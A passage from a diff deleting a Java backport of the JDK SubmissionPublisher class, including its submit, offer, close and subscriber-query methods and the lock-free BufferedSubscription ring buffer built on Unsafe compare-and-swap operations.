-                    b.onError(new IllegalStateException("Duplicate subscribe"));
-                    break;
-                } else {
-                    pred = b;
-                }
-                b = next;
-            }
-        }
-    }
-
-    /**
-     * Publishes the given item to each current subscriber by
-     * asynchronously invoking its {@link Flow.Subscriber#onNext(Object)
-     * onNext} method, blocking uninterruptibly while resources for any
-     * subscriber are unavailable. This method returns an estimate of
-     * the maximum lag (number of items submitted but not yet consumed)
-     * among all current subscribers. This value is at least one
-     * (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers,
-     * then this exception is rethrown, in which case not all
-     * subscribers will have been issued this item.
-     *
-     * @param item the (non-null) item to publish
-     * @return the estimated maximum lag among subscribers
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    public int submit(T item) {
-        if (item == null) {
-            throw new NullPointerException();
-        }
-        int lag = 0;
-        boolean complete;
-        synchronized (this) {
-            complete = closed;
-            BufferedSubscription<T> b = clients;
-            if (!complete) {
-                BufferedSubscription<T> pred = null, r = null, rtail = null;
-                while (b != null) {
-                    BufferedSubscription<T> next = b.next;
-                    int stat = b.offer(item);
-                    if (stat < 0) {           // disabled
-                        b.next = null;
-                        if (pred == null) {
-                            clients = next;
-                        } else {
-                            pred.next = next;
-                        }
-                    } else {
-                        if (stat > lag) {
-                            lag = stat;
-                        } else if (stat == 0) { // place on retry list
-                            b.nextRetry = null;
-                            if (rtail == null) {
-                                r = b;
-                            } else {
-                                rtail.nextRetry = b;
-                            }
-                            rtail = b;
-                        }
-                        pred = b;
-                    }
-                    b = next;
-                }
-                while (r != null) {
-                    BufferedSubscription<T> nextRetry = r.nextRetry;
-                    r.nextRetry = null;
-                    int stat = r.submit(item);
-                    if (stat > lag) {
-                        lag = stat;
-                    } else if (stat < 0 && clients == r) {
-                        clients = r.next; // postpone internal unsubscribes
-                    }
-                    r = nextRetry;
-                }
-            }
-        }
-        if (complete) {
-            throw new IllegalStateException("Closed");
-        } else {
-            return lag;
-        }
-    }
-
-    /**
-     * Publishes the given item, if possible, to each current subscriber
-     * by asynchronously invoking its {@link
-     * Flow.Subscriber#onNext(Object) onNext} method. The item may be
-     * dropped by one or more subscribers if resource limits are
-     * exceeded, in which case the given handler (if non-null) is
-     * invoked, and if it returns true, retried once.  Other calls to
-     * methods in this class by other threads are blocked while the
-     * handler is invoked.  Unless recovery is assured, options are
-     * usually limited to logging the error and/or issuing an {@link
-     * Flow.Subscriber#onError(Throwable) onError} signal to the
-     * subscriber.
-     * <p>
-     * <p>This method returns a status indicator: If negative, it
-     * represents the (negative) number of drops (failed attempts to
-     * issue the item to a subscriber). Otherwise it is an estimate of
-     * the maximum lag (number of items submitted but not yet
-     * consumed) among all current subscribers. This value is at least
-     * one (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers, or
-     * the drop handler throws an exception when processing a dropped
-     * item, then this exception is rethrown.
-     *
-     * @param item   the (non-null) item to publish
-     * @param onDrop if non-null, the handler invoked upon a drop to a
-     *               subscriber, with arguments of the subscriber and item; if it
-     *               returns true, an offer is re-attempted (once)
-     * @return if negative, the (negative) number of drops; otherwise
-     * an estimate of maximum lag
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    public int offer(T item,
-                     BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        return doOffer(0L, item, onDrop);
-    }
-
-    /**
-     * Publishes the given item, if possible, to each current subscriber
-     * by asynchronously invoking its {@link
-     * Flow.Subscriber#onNext(Object) onNext} method, blocking while
-     * resources for any subscription are unavailable, up to the
-     * specified timeout or until the caller thread is interrupted, at
-     * which point the given handler (if non-null) is invoked, and if it
-     * returns true, retried once. (The drop handler may distinguish
-     * timeouts from interrupts by checking whether the current thread
-     * is interrupted.)  Other calls to methods in this class by other
-     * threads are blocked while the handler is invoked.  Unless
-     * recovery is assured, options are usually limited to logging the
-     * error and/or issuing an {@link Flow.Subscriber#onError(Throwable)
-     * onError} signal to the subscriber.
-     * <p>
-     * <p>This method returns a status indicator: If negative, it
-     * represents the (negative) number of drops (failed attempts to
-     * issue the item to a subscriber). Otherwise it is an estimate of
-     * the maximum lag (number of items submitted but not yet
-     * consumed) among all current subscribers. This value is at least
-     * one (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers, or
-     * the drop handler throws an exception when processing a dropped
-     * item, then this exception is rethrown.
-     *
-     * @param item    the (non-null) item to publish
-     * @param timeout how long to wait for resources for any subscriber
-     *                before giving up, in units of {@code unit}
-     * @param unit    a {@code TimeUnit} determining how to interpret the
-     *                {@code timeout} parameter
-     * @param onDrop  if non-null, the handler invoked upon a drop to a
-     *                subscriber, with arguments of the subscriber and item; if it
-     *                returns true, an offer is re-attempted (once)
-     * @return if negative, the (negative) number of drops; otherwise
-     * an estimate of maximum lag
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    public int offer(T item, long timeout, TimeUnit unit,
-                     BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        return doOffer(unit.toNanos(timeout), item, onDrop);
-    }
-
-    /**
-     * Common implementation for both forms of offer
-     */
-    final int doOffer(long nanos, T item,
-                      BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        if (item == null) {
-            throw new NullPointerException();
-        }
-        int lag = 0, drops = 0;
-        boolean complete;
-        synchronized (this) {
-            complete = closed;
-            BufferedSubscription<T> b = clients;
-            if (!complete) {
-                BufferedSubscription<T> pred = null, r = null, rtail = null;
-                while (b != null) {
-                    BufferedSubscription<T> next = b.next;
-                    int stat = b.offer(item);
-                    if (stat < 0) {
-                        b.next = null;
-                        if (pred == null) {
-                            clients = next;
-                        } else {
-                            pred.next = next;
-                        }
-                    } else {
-                        if (stat > lag) {
-                            lag = stat;
-                        } else if (stat == 0) {
-                            b.nextRetry = null;
-                            if (rtail == null) {
-                                r = b;
-                            } else {
-                                rtail.nextRetry = b;
-                            }
-                            rtail = b;
-                        } else if (stat > lag) {
-                            lag = stat;
-                        }
-                        pred = b;
-                    }
-                    b = next;
-                }
-                while (r != null) {
-                    BufferedSubscription<T> nextRetry = r.nextRetry;
-                    r.nextRetry = null;
-                    int stat = (nanos > 0L)
-                            ? r.timedOffer(item, nanos)
-                            : r.offer(item);
-                    if (stat == 0 && onDrop != null && onDrop.test(r.subscriber, item)) {
-                        stat = r.offer(item);
-                    }
-                    if (stat == 0) {
-                        ++drops;
-                    } else if (stat > lag) {
-                        lag = stat;
-                    } else if (stat < 0 && clients == r) {
-                        clients = r.next;
-                    }
-                    r = nextRetry;
-                }
-            }
-        }
-        if (complete) {
-            throw new IllegalStateException("Closed");
-        } else {
-            return (drops > 0) ? -drops : lag;
-        }
-    }
-
-    /**
-     * Unless already closed, issues {@link
-     * Flow.Subscriber#onComplete() onComplete} signals to current
-     * subscribers, and disallows subsequent attempts to publish.
-     * Upon return, this method does <em>NOT</em> guarantee that all
-     * subscribers have yet completed.
-     */
-    public void close() {
-        if (!closed) {
-            BufferedSubscription<T> b;
-            synchronized (this) {
-                b = clients;
-                clients = null;
-                closed = true;
-            }
-            while (b != null) {
-                BufferedSubscription<T> next = b.next;
-                b.next = null;
-                b.onComplete();
-                b = next;
-            }
-        }
-    }
-
-    /**
-     * Unless already closed, issues {@link
-     * Flow.Subscriber#onError(Throwable) onError} signals to current
-     * subscribers with the given error, and disallows subsequent
-     * attempts to publish.  Future subscribers also receive the given
-     * error. Upon return, this method does <em>NOT</em> guarantee
-     * that all subscribers have yet completed.
-     *
-     * @param error the {@code onError} argument sent to subscribers
-     * @throws NullPointerException if error is null
-     */
-    public void closeExceptionally(Throwable error) {
-        if (error == null) {
-            throw new NullPointerException();
-        }
-        if (!closed) {
-            BufferedSubscription<T> b;
-            synchronized (this) {
-                b = clients;
-                clients = null;
-                closed = true;
-                closedException = error;
-            }
-            while (b != null) {
-                BufferedSubscription<T> next = b.next;
-                b.next = null;
-                b.onError(error);
-                b = next;
-            }
-        }
-    }
-
-    /**
-     * Returns true if this publisher is not accepting submissions.
-     *
-     * @return true if closed
-     */
-    public boolean isClosed() {
-        return closed;
-    }
-
-    /**
-     * Returns the exception associated with {@link
-     * #closeExceptionally(Throwable) closeExceptionally}, or null if
-     * not closed or if closed normally.
-     *
-     * @return the exception, or null if none
-     */
-    public Throwable getClosedException() {
-        return closedException;
-    }
-
-    /**
-     * Returns true if this publisher has any subscribers.
-     *
-     * @return true if this publisher has any subscribers
-     */
-    public boolean hasSubscribers() {
-        boolean nonEmpty = false;
-        if (!closed) {
-            synchronized (this) {
-                for (BufferedSubscription<T> b = clients; b != null; ) {
-                    BufferedSubscription<T> next = b.next;
-                    if (b.isDisabled()) {
-                        b.next = null;
-                        b = clients = next;
-                    } else {
-                        nonEmpty = true;
-                        break;
-                    }
-                }
-            }
-        }
-        return nonEmpty;
-    }
-
-    /**
-     * Returns the number of current subscribers.
-     *
-     * @return the number of current subscribers
-     */
-    public int getNumberOfSubscribers() {
-        int count = 0;
-        if (!closed) {
-            synchronized (this) {
-                BufferedSubscription<T> pred = null, next;
-                for (BufferedSubscription<T> b = clients; b != null; b = next) {
-                    next = b.next;
-                    if (b.isDisabled()) {
-                        b.next = null;
-                        if (pred == null) {
-                            clients = next;
-                        } else {
-                            pred.next = next;
-                        }
-                    } else {
-                        pred = b;
-                        ++count;
-                    }
-                }
-            }
-        }
-        return count;
-    }
-
-    /**
-     * Returns the Executor used for asynchronous delivery.
-     *
-     * @return the Executor used for asynchronous delivery
-     */
-    public Executor getExecutor() {
-        return executor;
-    }
-
-    /**
-     * Returns the maximum per-subscriber buffer capacity.
-     *
-     * @return the maximum per-subscriber buffer capacity
-     */
-    public int getMaxBufferCapacity() {
-        return maxBufferCapacity;
-    }
-
-    /**
-     * Returns a list of current subscribers for monitoring and
-     * tracking purposes, not for invoking {@link Flow.Subscriber}
-     * methods on the subscribers.
-     *
-     * @return list of current subscribers
-     */
-    public List<Flow.Subscriber<? super T>> getSubscribers() {
-        ArrayList<Flow.Subscriber<? super T>> subs = new ArrayList<>();
-        synchronized (this) {
-            BufferedSubscription<T> pred = null, next;
-            for (BufferedSubscription<T> b = clients; b != null; b = next) {
-                next = b.next;
-                if (b.isDisabled()) {
-                    b.next = null;
-                    if (pred == null) {
-                        clients = next;
-                    } else {
-                        pred.next = next;
-                    }
-                } else {
-                    subs.add(b.subscriber);
-                }
-            }
-        }
-        return subs;
-    }
-
-    /**
-     * Returns true if the given Subscriber is currently subscribed.
-     *
-     * @param subscriber the subscriber
-     * @return true if currently subscribed
-     * @throws NullPointerException if subscriber is null
-     */
-    public boolean isSubscribed(Flow.Subscriber<? super T> subscriber) {
-        if (subscriber == null) {
-            throw new NullPointerException();
-        }
-        if (!closed) {
-            synchronized (this) {
-                BufferedSubscription<T> pred = null, next;
-                for (BufferedSubscription<T> b = clients; b != null; b = next) {
-                    next = b.next;
-                    if (b.isDisabled()) {
-                        b.next = null;
-                        if (pred == null) {
-                            clients = next;
-                        } else {
-                            pred.next = next;
-                        }
-                    } else if (subscriber.equals(b.subscriber)) {
-                        return true;
-                    } else {
-                        pred = b;
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
-    /**
-     * Returns an estimate of the minimum number of items requested
-     * (via {@link Flow.Subscription#request(long) request}) but not
-     * yet produced, among all current subscribers.
-     *
-     * @return the estimate, or zero if no subscribers
-     */
-    public long estimateMinimumDemand() {
-        long min = Long.MAX_VALUE;
-        boolean nonEmpty = false;
-        synchronized (this) {
-            BufferedSubscription<T> pred = null, next;
-            for (BufferedSubscription<T> b = clients; b != null; b = next) {
-                int n;
-                long d;
-                next = b.next;
-                if ((n = b.estimateLag()) < 0) {
-                    b.next = null;
-                    if (pred == null) {
-                        clients = next;
-                    } else {
-                        pred.next = next;
-                    }
-                } else {
-                    if ((d = b.demand - n) < min) {
-                        min = d;
-                    }
-                    nonEmpty = true;
-                    pred = b;
-                }
-            }
-        }
-        return nonEmpty ? min : 0;
-    }
-
-    /**
-     * Returns an estimate of the maximum number of items produced but
-     * not yet consumed among all current subscribers.
-     *
-     * @return the estimate
-     */
-    public int estimateMaximumLag() {
-        int max = 0;
-        synchronized (this) {
-            BufferedSubscription<T> pred = null, next;
-            for (BufferedSubscription<T> b = clients; b != null; b = next) {
-                int n;
-                next = b.next;
-                if ((n = b.estimateLag()) < 0) {
-                    b.next = null;
-                    if (pred == null) {
-                        clients = next;
-                    } else {
-                        pred.next = next;
-                    }
-                } else {
-                    if (n > max) {
-                        max = n;
-                    }
-                    pred = b;
-                }
-            }
-        }
-        return max;
-    }
-
-    /**
-     * Processes all published items using the given Consumer function.
-     * Returns a CompletableFuture that is completed normally when this
-     * publisher signals {@link Flow.Subscriber#onComplete()
-     * onComplete}, or completed exceptionally upon any error, or an
-     * exception is thrown by the Consumer, or the returned
-     * CompletableFuture is cancelled, in which case no further items
-     * are processed.
-     *
-     * @param consumer the function applied to each onNext item
-     * @return a CompletableFuture that is completed normally
-     * when the publisher signals onComplete, and exceptionally
-     * upon any error or cancellation
-     * @throws NullPointerException if consumer is null
-     */
-    public CompletableFuture<Void> consume(Consumer<? super T> consumer) {
-        if (consumer == null) {
-            throw new NullPointerException();
-        }
-        CompletableFuture<Void> status = new CompletableFuture<>();
-        subscribe(new ConsumerSubscriber<T>(status, consumer));
-        return status;
-    }
-
-    /**
-     * Subscriber for method consume
-     */
-    private static final class ConsumerSubscriber<T>
-            implements Flow.Subscriber<T> {
-        final CompletableFuture<Void> status;
-        final Consumer<? super T> consumer;
-        Flow.Subscription subscription;
-
-        ConsumerSubscriber(CompletableFuture<Void> status,
-                           Consumer<? super T> consumer) {
-            this.status = status;
-            this.consumer = consumer;
-        }
-
-        public final void onSubscribe(Flow.Subscription subscription) {
-            this.subscription = subscription;
-            status.whenComplete((v, e) -> subscription.cancel());
-            if (!status.isDone()) {
-                subscription.request(Long.MAX_VALUE);
-            }
-        }
-
-        public final void onError(Throwable ex) {
-            status.completeExceptionally(ex);
-        }
-
-        public final void onComplete() {
-            status.complete(null);
-        }
-
-        public final void onNext(T item) {
-            try {
-                consumer.accept(item);
-            } catch (Throwable ex) {
-                subscription.cancel();
-                status.completeExceptionally(ex);
-            }
-        }
-    }
-
-    /**
-     * A task for consuming buffer items and signals, created and
-     * executed whenever they become available. A task consumes as
-     * many items/signals as possible before terminating, at which
-     * point another task is created when needed. The dual Runnable
-     * and ForkJoinTask declaration saves overhead when executed by
-     * ForkJoinPools, without impacting other kinds of Executors.
-     */
-    @SuppressWarnings("serial")
-    static final class ConsumerTask<T> extends ForkJoinTask<Void>
-            implements Runnable, CompletableFuture.AsynchronousCompletionTask {
-        final BufferedSubscription<T> consumer;
-
-        ConsumerTask(BufferedSubscription<T> consumer) {
-            this.consumer = consumer;
-        }
-
-        public final Void getRawResult() {
-            return null;
-        }
-
-        public final void setRawResult(Void v) {
-        }
-
-        public final boolean exec() {
-            consumer.consume();
-            return false;
-        }
-
-        public final void run() {
-            consumer.consume();
-        }
-    }
-
-    /**
-     * A bounded (ring) buffer with integrated control to start a
-     * consumer task whenever items are available.  The buffer
-     * algorithm is similar to one used inside ForkJoinPool (see its
-     * internal documentation for details) specialized for the case of
-     * at most one concurrent producer and consumer, and power of two
-     * buffer sizes. This allows methods to operate without locks even
-     * while supporting resizing, blocking, task-triggering, and
-     * garbage-free buffers (nulling out elements when consumed),
-     * although supporting these does impose a bit of overhead
-     * compared to plain fixed-size ring buffers.
-     * <p>
-     * The publisher guarantees a single producer via its lock.  We
-     * ensure in this class that there is at most one consumer.  The
-     * request and cancel methods must be fully thread-safe but are
-     * coded to exploit the most common case in which they are only
-     * called by consumers (usually within onNext).
-     * <p>
-     * Execution control is managed using the ACTIVE ctl bit. We
-     * ensure that a task is active when consumable items (and
-     * usually, SUBSCRIBE, ERROR or COMPLETE signals) are present and
-     * there is demand (unfilled requests).  This is complicated on
-     * the creation side by the possibility of exceptions when trying
-     * to execute tasks. These eventually force DISABLED state, but
-     * sometimes not directly. On the task side, termination (clearing
-     * ACTIVE) that would otherwise race with producers or request()
-     * calls uses the CONSUME keep-alive bit to force a recheck.
-     * <p>
-     * The ctl field also manages run state. When DISABLED, no further
-     * updates are possible. Disabling may be preceded by setting
-     * ERROR or COMPLETE (or both -- ERROR has precedence), in which
-     * case the associated Subscriber methods are invoked, possibly
-     * synchronously if there is no active consumer task (including
-     * cases where execute() failed). The cancel() method is supported
-     * by treating as ERROR but suppressing onError signal.
-     * <p>
-     * Support for blocking also exploits the fact that there is only
-     * one possible waiter. ManagedBlocker-compatible control fields
-     * are placed in this class itself rather than in wait-nodes.
-     * Blocking control relies on the "waiter" field. Producers set
-     * the field before trying to block, but must then recheck (via
-     * offer) before parking. Signalling then just unparks and clears
-     * waiter field. If the producer and/or consumer are using a
-     * ForkJoinPool, the producer attempts to help run consumer tasks
-     * via ForkJoinPool.helpAsyncBlocker before blocking.
-     * <p>
-     * This class uses @Contended and heuristic field declaration
-     * ordering to reduce false-sharing-based memory contention among
-     * instances of BufferedSubscription, but it does not currently
-     * attempt to avoid memory contention among buffers. This field
-     * and element packing can hurt performance especially when each
-     * publisher has only one client operating at a high rate.
-     * Addressing this may require allocating substantially more space
-     * than users expect.
-     */
-    @SuppressWarnings("serial")
-    @sun.misc.Contended
-    private static final class BufferedSubscription<T>
-            implements Flow.Subscription, ForkJoinPool.ManagedBlocker {
-        // Order-sensitive field declarations
-        long timeout;                      // > 0 if timed wait
-        volatile long demand;              // # unfilled requests
-        int maxCapacity;                   // reduced on OOME
-        int putStat;                       // offer result for ManagedBlocker
-        volatile int ctl;                  // atomic run state flags
-        volatile int head;                 // next position to take
-        int tail;                          // next position to put
-        Object[] array;                    // buffer: null if disabled
-        Flow.Subscriber<? super T> subscriber; // null if disabled
-        Executor executor;                 // null if disabled
-        BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> onNextHandler;
-        volatile Throwable pendingError;   // holds until onError issued
-        volatile Thread waiter;            // blocked producer thread
-        T putItem;                         // for offer within ManagedBlocker
-        BufferedSubscription<T> next;      // used only by publisher
-        BufferedSubscription<T> nextRetry; // used only by publisher
-
-        // ctl values
-        static final int ACTIVE = 0x01; // consumer task active
-        static final int CONSUME = 0x02; // keep-alive for consumer task
-        static final int DISABLED = 0x04; // final state
-        static final int ERROR = 0x08; // signal onError then disable
-        static final int SUBSCRIBE = 0x10; // signal onSubscribe
-        static final int COMPLETE = 0x20; // signal onComplete when done
-
-        static final long INTERRUPTED = -1L; // timeout vs interrupt sentinel
-
-        /**
-         * Initial buffer capacity used when maxBufferCapacity is
-         * greater. Must be a power of two.
-         */
-        static final int DEFAULT_INITIAL_CAP = 32;
-
-        BufferedSubscription(Flow.Subscriber<? super T> subscriber,
-                             Executor executor,
-                             BiConsumer<? super Flow.Subscriber<? super T>,
-                                     ? super Throwable> onNextHandler,
-                             int maxBufferCapacity) {
-            this.subscriber = subscriber;
-            this.executor = executor;
-            this.onNextHandler = onNextHandler;
-            this.maxCapacity = maxBufferCapacity;
-            this.array = new Object[maxBufferCapacity < DEFAULT_INITIAL_CAP
-                    ? (maxBufferCapacity < 2 // at least 2 slots
-                        ? 2 : maxBufferCapacity)
-                        : DEFAULT_INITIAL_CAP];
-        }
-
-        @Override
-        public String toString() {
-            if (subscriber != null) {
-                return subscriber.toString();
-            } else {
-                return super.toString();
-            }
-        }
-
-        final boolean isDisabled() {
-            return ctl == DISABLED;
-        }
-
-        /**
-         * Returns estimated number of buffered items, or -1 if
-         * disabled.
-         */
-        final int estimateLag() {
-            int n;
-            return (ctl == DISABLED) ? -1 : ((n = tail - head) > 0) ? n : 0;
-        }
-
-        /**
-         * Tries to add item and start consumer task if necessary.
-         *
-         * @return -1 if disabled, 0 if dropped, else estimated lag
-         */
-        final int offer(T item) {
-            int h = head, t = tail, cap, size, stat;
-            Object[] a = array;
-            if (a != null && (cap = a.length) > 0 && cap >= (size = t + 1 - h)) {
-                a[(cap - 1) & t] = item;    // relaxed writes OK
-                tail = t + 1;
-                stat = size;
-            } else {
-                stat = growAndAdd(a, item);
-            }
-            return (stat > 0 && (ctl & (ACTIVE | CONSUME)) != (ACTIVE | CONSUME)) ? startOnOffer(stat) : stat;
-        }
-
-        /**
-         * Tries to create or expand buffer, then adds item if possible.
-         */
-        private int growAndAdd(Object[] a, T item) {
-            boolean alloc;
-            int cap, stat;
-            if ((ctl & (ERROR | DISABLED)) != 0) {
-                cap = 0;
-                stat = -1;
-                alloc = false;
-            } else if (a == null || (cap = a.length) <= 0) {
-                cap = 0;
-                stat = 1;
-                alloc = true;
-            } else {
-                U.fullFence();                   // recheck
-                int h = head, t = tail, size = t + 1 - h;
-                if (cap >= size) {
-                    a[(cap - 1) & t] = item;
-                    tail = t + 1;
-                    stat = size;
-                    alloc = false;
-                } else if (cap >= maxCapacity) {
-                    stat = 0;                    // cannot grow
-                    alloc = false;
-                } else {
-                    stat = cap + 1;
-                    alloc = true;
-                }
-            }
-            if (alloc) {
-                int newCap = (cap > 0) ? cap << 1 : 1;
-                if (newCap <= cap) {
-                    stat = 0;
-                } else {
-                    Object[] newArray = null;
-                    try {
-                        newArray = new Object[newCap];
-                    } catch (Throwable ex) {     // try to cope with OOME
-                    }
-                    if (newArray == null) {
-                        if (cap > 0) {
-                            maxCapacity = cap;   // avoid continuous failure
-                        }
-                        stat = 0;
-                    } else {
-                        array = newArray;
-                        int t = tail;
-                        int newMask = newCap - 1;
-                        if (a != null && cap > 0) {
-                            int mask = cap - 1;
-                            for (int j = head; j != t; ++j) {
-                                long k = ((long) (j & mask) << ASHIFT) + ABASE;
-                                Object x = U.getObjectVolatile(a, k);
-                                if (x != null && // races with consumer
-                                        U.compareAndSwapObject(a, k, x, null)) {
-                                    newArray[j & newMask] = x;
-                                }
-                            }
-                        }
-                        newArray[t & newMask] = item;
-                        tail = t + 1;
-                    }
-                }
-            }
-            return stat;
-        }
-
-        /**
-         * Spins/helps/blocks while offer returns 0.  Called only if
-         * initial offer return 0.
-         */
-        final int submit(T item) {
-            int stat;
-            if ((stat = offer(item)) == 0) {
-                putItem = item;
-                timeout = 0L;
-                putStat = 0;
-                // safe to comment out when executor != ForkJoinPool (TODO)
-                // ForkJoinPool.helpAsyncBlocker(executor, this);
-                if ((stat = putStat) == 0) {
-                    try {
-                        ForkJoinPool.managedBlock(this);
-                    } catch (InterruptedException ie) {
-                        timeout = INTERRUPTED;
-                    }
-                    stat = putStat;
-                }
-                if (timeout < 0L) {
-                    Thread.currentThread().interrupt();
-                }
-            }
-            return stat;
-        }
-
-        /**
-         * Timeout version; similar to submit.
-         */
-        final int timedOffer(T item, long nanos) {
-            int stat;
-            if ((stat = offer(item)) == 0 && (timeout = nanos) > 0L) {
-                putItem = item;
-                putStat = 0;
-                // safe to comment out when executor != ForkJoinPool (TODO)
-                // ForkJoinPool.helpAsyncBlocker(executor, this);
-                if ((stat = putStat) == 0) {
-                    try {
-                        ForkJoinPool.managedBlock(this);
-                    } catch (InterruptedException ie) {
-                        timeout = INTERRUPTED;
-                    }
-                    stat = putStat;
-                }
-                if (timeout < 0L) {
-                    Thread.currentThread().interrupt();
-                }
-            }
-            return stat;
-        }
-
-        /**
-         * Tries to start consumer task after offer.
-         *
-         * @return -1 if now disabled, else argument
-         */
-        private int startOnOffer(int stat) {
-            for (;;) {
-                Executor e;
-                int c;
-                if ((c = ctl) == DISABLED || (e = executor) == null) {
-                    stat = -1;
-                    break;
-                } else if ((c & ACTIVE) != 0) { // ensure keep-alive
-                    if ((c & CONSUME) != 0 || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) {
-                        break;
-                    }
-                } else if (demand == 0L || tail == head) {
-                    break;
-                } else if (U.compareAndSwapInt(this, CTL, c,
-                        c | (ACTIVE | CONSUME))) {
-                    try {
-                        e.execute(new ConsumerTask<T>(this));
-                        break;
-                    } catch (RuntimeException | Error ex) { // back out
-                        do {
-                        } while (((c = ctl) & DISABLED) == 0
-                                && (c & ACTIVE) != 0
-                                && !U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE));
-                        throw ex;
-                    }
-                }
-            }
-            return stat;
-        }
-
-        private void signalWaiter(Thread w) {
-            waiter = null;
-            LockSupport.unpark(w);    // release producer
-        }
-
-        /**
-         * Nulls out most fields, mainly to avoid garbage retention
-         * until publisher unsubscribes, but also to help cleanly stop
-         * upon error by nulling required components.
-         */
-        private void detach() {
-            Thread w = waiter;
-            executor = null;
-            subscriber = null;
-            pendingError = null;
-            signalWaiter(w);
-        }
-
-        /**
-         * Issues error signal, asynchronously if a task is running,
-         * else synchronously.
-         */
-        final void onError(Throwable ex) {
-            for (int c;;) {
-                if (((c = ctl) & (ERROR | DISABLED)) != 0) {
-                    break;
-                } else if ((c & ACTIVE) != 0) {
-                    pendingError = ex;
-                    if (U.compareAndSwapInt(this, CTL, c, c | ERROR)) {
-                        break; // cause consumer task to exit
-                    }
-                } else if (U.compareAndSwapInt(this, CTL, c, DISABLED)) {
-                    Flow.Subscriber<? super T> s = subscriber;
-                    if (s != null && ex != null) {
-                        try {
-                            s.onError(ex);
-                        } catch (Throwable ignore) {
-                        }
-                    }
-                    detach();
-                    break;
-                }
-            }
-        }
-
-        /**
-         * Tries to start consumer task upon a signal or request;
-         * disables on failure.
-         */
-        private void startOrDisable() {
-            Executor e;
-            if ((e = executor) != null) { // skip if already disabled
-                try {
-                    e.execute(new ConsumerTask<T>(this));
-                } catch (Throwable ex) {  // back out and force signal
-                    for (int c;;) {
-                        if ((c = ctl) == DISABLED || (c & ACTIVE) == 0) {
-                            break;
-                        }
-                        if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) {
-                            onError(ex);
-                            break;
-                        }
-                    }
-                }
-            }
-        }
-
-        final void onComplete() {
-            for (int c;;) {
-                if ((c = ctl) == DISABLED) {
-                    break;
-                }
-                if (U.compareAndSwapInt(this, CTL, c,
-                        c | (ACTIVE | CONSUME | COMPLETE))) {
-                    if ((c & ACTIVE) == 0) {
-                        startOrDisable();
-                    }
-                    break;
-                }
-            }
-        }
-
-        final void onSubscribe() {
-            for (int c;;) {
-                if ((c = ctl) == DISABLED) {
-                    break;
-                }
-                if (U.compareAndSwapInt(this, CTL, c,
-                        c | (ACTIVE | CONSUME | SUBSCRIBE))) {
-                    if ((c & ACTIVE) == 0) {
-                        startOrDisable();
-                    }
-                    break;
-                }
-            }
-        }
-
-        /**
-         * Causes consumer task to exit if active (without reporting
-         * onError unless there is already a pending error), and
-         * disables.
-         */
-        public void cancel() {
-            for (int c;;) {
-                if ((c = ctl) == DISABLED) {
-                    break;
-                } else if ((c & ACTIVE) != 0) {
-                    if (U.compareAndSwapInt(this, CTL, c,
-                            c | (CONSUME | ERROR))) {
-                        break;
-                    }
-                } else if (U.compareAndSwapInt(this, CTL, c, DISABLED)) {
-                    detach();
-                    break;
-                }
-            }
-        }
-
-        /**
-         * Adds to demand and possibly starts task.
-         */
-        public void request(long n) {
-            if (n > 0L) {
-                for (;;) {
-                    long prev = demand, d;
-                    if ((d = prev + n) < prev) { // saturate
-                        d = Long.MAX_VALUE;
-                    }
-                    if (U.compareAndSwapLong(this, DEMAND, prev, d)) {
-                        for (int c, h;; ) {
-                            if ((c = ctl) == DISABLED) {
-                                break;
-                            } else if ((c & ACTIVE) != 0) {
-                                if ((c & CONSUME) != 0 || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) {
-                                    break;
-                                }
-                            } else if ((h = head) != tail) {
-                                if (U.compareAndSwapInt(this, CTL, c,
-                                        c | (ACTIVE | CONSUME))) {
-                                    startOrDisable();
-                                    break;
-                                }
-                            } else if (head == h && tail == h) {
-                                break;          // else stale
-                            }
-                            if (demand == 0L) {
-                                break;
-                            }
-                        }
-                        break;
-                    }
-                }
-            } else if (n < 0L) {
-                onError(new IllegalArgumentException(
-                        "negative subscription request"));
-            }
-        }
-
-        public final boolean isReleasable() { // for ManagedBlocker
-            T item = putItem;
-            if (item != null) {
-                if ((putStat = offer(item)) == 0) {
-                    return false;
-                }
-                putItem = null;
-            }
-            return true;
-        }
-
-        public final boolean block() { // for ManagedBlocker
-            T item = putItem;
-            if (item != null) {
-                putItem = null;
-                long nanos = timeout;
-                long deadline = (nanos > 0L) ? System.nanoTime() + nanos : 0L;
-                while ((putStat = offer(item)) == 0) {
-                    if (Thread.interrupted()) {
-                        timeout = INTERRUPTED;
-                        if (nanos > 0L) {
-                            break;
-                        }
-                    } else if (nanos > 0L && (nanos = deadline - System.nanoTime()) <= 0L) {
-                        break;
-                    } else if (waiter == null) {
-                        waiter = Thread.currentThread();
-                    } else {
-                        if (nanos > 0L) {
-                            LockSupport.parkNanos(this, nanos);
-                        } else {
-                            LockSupport.park(this);
-                        }
-                        waiter = null;
-                    }
-                }
-            }
-            waiter = null;
-            return true;
-        }
-
-        /**
-         * Consumer loop, called from ConsumerTask, or indirectly
-         * when helping during submit.
-         */
-        final void consume() {
-            Flow.Subscriber<? super T> s;
-            int h = head;
-            if ((s = subscriber) != null) {           // else disabled
-                for (;;) {
-                    long d = demand;
-                    int c;
-                    Object[] a;
-                    int n;
-                    long i;
-                    Object x;
-                    Thread w;
